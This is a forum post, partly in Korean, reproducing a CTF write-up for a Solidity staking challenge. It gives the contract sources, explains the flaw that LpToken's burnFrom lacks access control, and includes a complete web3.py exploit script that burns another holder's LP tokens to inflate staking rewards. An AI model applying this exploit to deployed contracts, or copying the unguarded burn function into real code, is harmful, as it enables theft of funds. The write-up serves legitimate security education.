CTFTime 에 올릴려고 영어로 다 번역했는데 참여팀이 아니면 라이트업 못 쓰게 되어있는줄 몰랐네여.
글 쓴게 아까워서 그냥 여기에 올려봅니다.
여기 내용 길어지니까 게시판이 급격히 느려지네여. 내 컴이 느려지는건가..
The Staker challenge provides the following four Solidity files:
Token.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract Token is ERC20 {
constructor() ERC20("Token", "TKN") {
_mint(msg.sender, 186401 * 1e18);
}
}
LpToken.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract LpToken is ERC20 {
address immutable minter;
constructor() ERC20("LP Token", "LP") {
minter = msg.sender;
}
function mint(address to, uint256 amount) external {
require(msg.sender == minter, "only minter");
_mint(to, amount);
}
function burnFrom(address from, uint256 amount) external {
_burn(from, amount);
}
}
Setup.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;
import {Token} from "./Token.sol";
import {LpToken} from "./LpToken.sol";
import {StakingManager} from "./StakingManager.sol";
contract Setup {
StakingManager public stakingManager;
Token public token;
constructor() payable {
token = new Token();
stakingManager = new StakingManager(address(token));
token.transfer(address(stakingManager), 86400 * 1e18);
token.approve(address(stakingManager), 100000 * 1e18);
stakingManager.stake(100000 * 1e18);
}
function withdraw() external {
token.transfer(msg.sender, token.balanceOf(address(this)));
}
function isSolved() public view returns (bool) {
return token.balanceOf(address(this)) >= 10 * 1e18;
}
}
StakingManager.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;
import {LpToken} from "./LpToken.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract StakingManager {
uint256 constant REWARD_PER_SECOND = 1e18;
IERC20 public immutable TOKEN;
LpToken public immutable LPTOKEN;
uint256 lastUpdateTimestamp;
uint256 rewardPerToken;
struct UserInfo {
uint256 staked;
uint256 debt;
}
mapping(address => UserInfo) public userInfo;
constructor(address token) {
TOKEN = IERC20(token);
LPTOKEN = new LpToken();
}
function update() internal {
if (lastUpdateTimestamp == 0) {
lastUpdateTimestamp = block.timestamp;
return;
}
uint256 totalStaked = LPTOKEN.totalSupply();
if (totalStaked > 0 && lastUpdateTimestamp != block.timestamp) {
rewardPerToken = (block.timestamp - lastUpdateTimestamp) * REWARD_PER_SECOND * 1e18 / totalStaked;
lastUpdateTimestamp = block.timestamp;
}
}
function stake(uint256 amount) external {
update();
UserInfo storage user = userInfo[msg.sender];
user.staked += amount;
user.debt += (amount * rewardPerToken) / 1e18;
LPTOKEN.mint(msg.sender, amount);
TOKEN.transferFrom(msg.sender, address(this), amount);
}
function unstakeAll() external {
update();
UserInfo storage user = userInfo[msg.sender];
uint256 staked = user.staked;
uint256 reward = (staked * rewardPerToken / 1e18) - user.debt;
user.staked = 0;
user.debt = 0;
LPTOKEN.burnFrom(msg.sender, LPTOKEN.balanceOf(msg.sender));
TOKEN.transfer(msg.sender, staked + reward);
}
}
By analyzing the files above, the isSolved
function in the Setup.sol
file stands out.
These files do not contain any code to directly print the flag or read a file.
Instead, after meeting the isSolved
condition, you can connect to the server and select menu option 3 to view the flag.
nc 43.201.150.10 31337
1 - launch new instance
2 - kill instance
3 - get flag
action?
Through the menu option 1, you can launch a blockchain instance to withdraw coins, and attempt staking and unstaking.
Menu option 2 allows you to terminate the instance.
function isSolved() public view returns (bool) {
return token.balanceOf(address(this)) >= 10 * 1e18;
}
By looking at the condition of the isSolved
function, you can see that it returns true
if there are 10 or more tokens.
In Setup.sol
, you can see that a total of 100,000 tokens are minted.
Additionally, by calling the withdraw
function in the Setup contract, you can withdraw 1 token to your account.
The initial fund is 1 token(TKN).
In the StakingManager.sol
file, you can see that there are stake
, unstakeAll
, and update
functions.
By staking 1 token (TKN) through the stake
function, waiting 60 seconds, and then calling the unstakeAll
function to unstake, you will be able to see that you receive a reward.
However, the reward is too small, and since the blockchain instance shuts down after 30 minutes, it is impossible to earn 10 tokens solely from the rewards.
uint256 totalStaked = LPTOKEN.totalSupply();
if (totalStaked > 0 && lastUpdateTimestamp != block.timestamp) {
rewardPerToken = (block.timestamp - lastUpdateTimestamp) * REWARD_PER_SECOND * 1e18 / totalStaked;
lastUpdateTimestamp = block.timestamp;
}
At this point, if you check how the reward is calculated in the rewardPerToken
section, you will see that it is determined by multiplying the time interval between function calls (the total time you wait after staking before unstaking) by the token unit, and then dividing by the total supply.
Roughly, if you wait for 60 seconds, you will receive a reward of about 0.0006.
This is a very small amount.
However, when dividing by the total supply, if the total supply is small—in other words, if the denominator is small—the reward increases.
After wasting a lot of time trying to find a vulnerability using only the stake
and unstakeAll
functions, I came up with the idea of reducing the total supply denominator. However, I wasn't sure if it was possible.
When listing the main functions in each Solidity source code file as follows, you can see certain characteristics. While internal
functions cannot be called, functions marked as external
can be called.
Setup.sol
function withdraw() external {
function isSolved() public view returns (bool) {
StakingManager.sol
function update() internal {
function stake(uint256 amount) external {
function unstakeAll() external {
LpToken.sol
function mint(address to, uint256 amount) external {
function burnFrom(address from, uint256 amount) external {
When modeling the Setup contract with the ABI, you can directly and automatically obtain the addresses for the token
and stakingManager
variables, and they can be called.
The key to solving the problem was how to create the ABI for the LpToken and call the burnFrom
function.
function burnFrom(address from, uint256 amount) external {
_burn(from, amount);
}
Looking at the code, you can see that the burnFrom
function burns the specified amount of tokens from the given address immediately upon being called, without any preconditions.
As a result, by inputting the Setup account address and burning 99999 coins, I succeeded in reducing the denominator, thereby increasing the token reward amount.
The key point of this problem lies in recognizing the difference between internal
and external
functions and having the ability to create an ABI interface through the LpToken.sol
file to call the burnFrom
function.
The following is the exploit code that performs the overall functionality.
from web3 import Web3
import json
import time
from web3.middleware import geth_poa_middleware
# RPC Endpoint Configuration
uuid = "b65f5661-3935-4961-a54f-e292efe9d791"
rpc_endpoint = "http://43.201.150.10:8888/" + uuid
web3 = Web3(Web3.HTTPProvider(rpc_endpoint))
# PoA Middleware Configuration
web3.middleware_onion.inject(geth_poa_middleware, layer=0)
# Private Key and Address Configuration
private_key = "0x4425a11e86153f505ec02d619a3902691c07f38c4465ca4c9b602fdb271f6492"
my_address = "0x1692Aa1480e03F14Cbf8454c06d2dd85f1F82f3C"
# Setup Contract Address
setup_contract_address = "0x54c4094BCD9f4255A06869a9fA3F666E5dfFdb37"
# Setup Contract ABI
setup_abi = json.loads("""
[
{
"constant": false,
"inputs": [],
"name": "withdraw",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "stakingManager",
"outputs": [
{
"name": "",
"type": "address"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "token",
"outputs": [
{
"name": "",
"type": "address"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "isSolved",
"outputs": [
{
"name": "",
"type": "bool"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
}
]
""")
# StakingManager Contract ABI
staking_manager_abi = json.loads("""
[
{
"constant": false,
"inputs": [
{
"name": "amount",
"type": "uint256"
}
],
"name": "stake",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [],
"name": "unstakeAll",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "LPTOKEN",
"outputs": [
{
"name": "",
"type": "address"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "from",
"type": "address"
},
{
"name": "amount",
"type": "uint256"
}
],
"name": "burnFrom",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
}
]
""")
# Token Contract ABI
token_abi = json.loads("""
[
{
"constant": false,
"inputs": [
{
"name": "spender",
"type": "address"
},
{
"name": "value",
"type": "uint256"
}
],
"name": "approve",
"outputs": [
{
"name": "",
"type": "bool"
}
],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "account",
"type": "address"
}
],
"name": "balanceOf",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "to",
"type": "address"
},
{
"name": "value",
"type": "uint256"
}
],
"name": "transfer",
"outputs": [
{
"name": "",
"type": "bool"
}
],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "totalSupply",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
}
]
""")
# LpToken Contract ABI (Add ERC20 Standard Functions)
lp_token_abi = json.loads("""
[
{
"constant": false,
"inputs": [
{
"name": "to",
"type": "address"
},
{
"name": "amount",
"type": "uint256"
}
],
"name": "mint",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "from",
"type": "address"
},
{
"name": "amount",
"type": "uint256"
}
],
"name": "burnFrom",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "account",
"type": "address"
}
],
"name": "balanceOf",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "totalSupply",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "spender",
"type": "address"
},
{
"name": "value",
"type": "uint256"
}
],
"name": "approve",
"outputs": [
{
"name": "",
"type": "bool"
}
],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
}
]
""")
# Create Setup Contract Instance
setup_contract = web3.eth.contract(address=setup_contract_address, abi=setup_abi)
# Create StakingManager Contract Address and Instance
staking_manager_address = setup_contract.functions.stakingManager().call()
staking_manager_contract = web3.eth.contract(address=staking_manager_address, abi=staking_manager_abi)
# Create Token Contract Address and Instance
token_address = setup_contract.functions.token().call()
token_contract = web3.eth.contract(address=token_address, abi=token_abi)
# Create LpToken Contract Address and Instance
lp_token_address = staking_manager_contract.functions.LPTOKEN().call()
lp_token_contract = web3.eth.contract(address=lp_token_address, abi=lp_token_abi)
# Build and Send Transaction Function
def send_transaction(contract_function, gas_price):
nonce = web3.eth.get_transaction_count(my_address)
transaction = contract_function.build_transaction({
'chainId': web3.eth.chain_id,
'gas': 2000000,
'gasPrice': gas_price,
'nonce': nonce,
})
signed_txn = web3.eth.account.sign_transaction(transaction, private_key=private_key)
tx_hash = web3.eth.send_raw_transaction(signed_txn.rawTransaction)
receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
return receipt, tx_hash
# Check Account Balance Function
def check_balance(address):
balance = token_contract.functions.balanceOf(address).call()
return web3.from_wei(balance, 'ether')
setup_balance = token_contract.functions.balanceOf(setup_contract_address).call()
setup_balance_eth = web3.from_wei(setup_balance, 'ether')
print(f"Setup Contract Balance: {setup_balance_eth} TKN")
## Check TKN Balance of My Account
my_balance = check_balance(my_address)
print(f"My Account's TKN Balance: {my_balance} TKN")
# Get Current Gas Price
current_gas_price = web3.eth.gas_price # wei 단위
# Convert to gwei
current_gas_price_gwei = web3.from_wei(current_gas_price, 'gwei')
print(f"Current Gas Price: {current_gas_price_gwei} gwei")
# Transfer Tokens from Setup Contract
receipt_withdraw, _ = send_transaction(setup_contract.functions.withdraw(), web3.to_wei('1', 'gwei'))
# Check Token Balance of My Account Again
my_balance = check_balance(my_address)
print(f"My Account Balance (After Token Transfer): {my_balance} TKN")
setup_balance = token_contract.functions.balanceOf(setup_contract_address).call()
setup_balance_eth = web3.from_wei(setup_balance, 'ether')
print(f"Setup Contract Balance: {setup_balance_eth} TKN")
# Check if There are Tokens to Burn (using totalSupply)
lp_token_total_supply = lp_token_contract.functions.totalSupply().call()
print(f"Total Supply of LP Tokens: {web3.from_wei(lp_token_total_supply, 'ether')}")
# Set Approval for StakingManager to Burn
send_transaction(token_contract.functions.approve(staking_manager_address, web3.to_wei('1000', 'ether')), web3.to_wei('10', 'gwei'))
# Call burnFrom in StakingManager
receipt_burn, tx_hash_burn = send_transaction(lp_token_contract.functions.burnFrom(setup_contract_address, web3.to_wei('99999', 'ether')), web3.to_wei('10', 'gwei'))
print(f"burnFrom Transaction Receipt: {receipt_burn}")
print(f"burnFrom Transaction Hash: {tx_hash_burn}")
current_balance = check_balance(staking_manager_address)
print(f"Staking Manager Balance After burnFrom: {current_balance} TKN")
# Approve Stake
send_transaction(token_contract.functions.approve(staking_manager_address, web3.to_wei('1', 'ether')), web3.to_wei('10', 'gwei'))
# Call Stake
send_transaction(staking_manager_contract.functions.stake(web3.to_wei('1', 'ether')), web3.to_wei('1', 'gwei'))
current_balance = check_balance(my_address)
print(f"Account Balance After Stake: {current_balance} TKN")
# wait....
time.sleep(60)
send_transaction(staking_manager_contract.functions.unstakeAll(), web3.to_wei('1', 'gwei'))
current_balance = check_balance(my_address)
# Handle Deposit
send_transaction(token_contract.functions.transfer(setup_contract_address, web3.to_wei('10', 'ether')), web3.to_wei('10', 'gwei'))
current_balance = check_balance(my_address)
print(f"Balance After Deposit: {current_balance} TKN")
# Call isSolved Function
is_solved = setup_contract.functions.isSolved().call()
if is_solved:
print("The problem has been solved!")
else:
print("The conditions have not yet been met.")
- Solution:
https://imgur.com/a/VdSMn23